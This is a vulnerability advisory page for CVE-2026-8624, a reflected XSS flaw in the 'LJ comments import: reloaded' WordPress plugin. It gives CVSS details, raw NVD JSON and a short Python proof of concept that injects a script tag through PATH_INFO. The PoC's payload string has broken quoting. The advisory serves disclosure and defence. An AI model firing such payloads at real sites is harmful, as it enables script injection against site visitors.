Security Vulnerability Report
中文
CVE-2026-8624 CVSS 6.1 MEDIUM

CVE-2026-8624

Published: 2026-05-20 02:16:41
Last Modified: 2026-05-20 02:16:41

Description

The LJ comments import: reloaded plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via PHP_SELF Parameter in all versions up to, and including, 0.97.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. The vulnerability arises specifically because PHP_SELF includes attacker-controllable PATH_INFO appended to the script name, and there are two distinct unsanitized echo points for this value in the same function.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

LJ comments import: reloaded <= 0.97.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Exploit Title: WordPress Plugin LJ comments import: reloaded < 0.97.1 - Reflected XSS via PHP_SELF # Date: 2026-05-20 # Exploit Author: Analyst # Vendor Homepage: https://wordpress.org/ # Software Link: https://wordpress.org/plugins/lj-comments-import-reloaded/ # Version: <= 0.97.1 # Tested on: WordPress import requests target_url = "http://example.com/wp-content/plugins/lj-comments-import-reloaded/lj_comments_import.php" # Payload to inject script via PATH_INFO xss_payload = "/"><script>alert('XSS');</script>" full_url = target_url + xss_payload print(f"Sending request to: {full_url}") try: response = requests.get(full_url) if "alert('XSS')" in response.text: print("[+] Vulnerability confirmed! XSS payload reflected.") else: print("[-] Vulnerability not detected or payload filtered.") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-8624", "sourceIdentifier": "[email protected]", "published": "2026-05-20T02:16:40.693", "lastModified": "2026-05-20T02:16:40.693", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The LJ comments import: reloaded plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via PHP_SELF Parameter in all versions up to, and including, 0.97.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. The vulnerability arises specifically because PHP_SELF includes attacker-controllable PATH_INFO appended to the script name, and there are two distinct unsanitized echo points for this value in the same function."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/lj-comments-import-reloaded/trunk/lj_comments_import.php#L129", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/lj-comments-import-reloaded/trunk/lj_comments_import.php#L161", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0f09cb59-dbbb-48a3-aeac-377f6ec87b88?source=cve", "source": "[email protected]"}]}}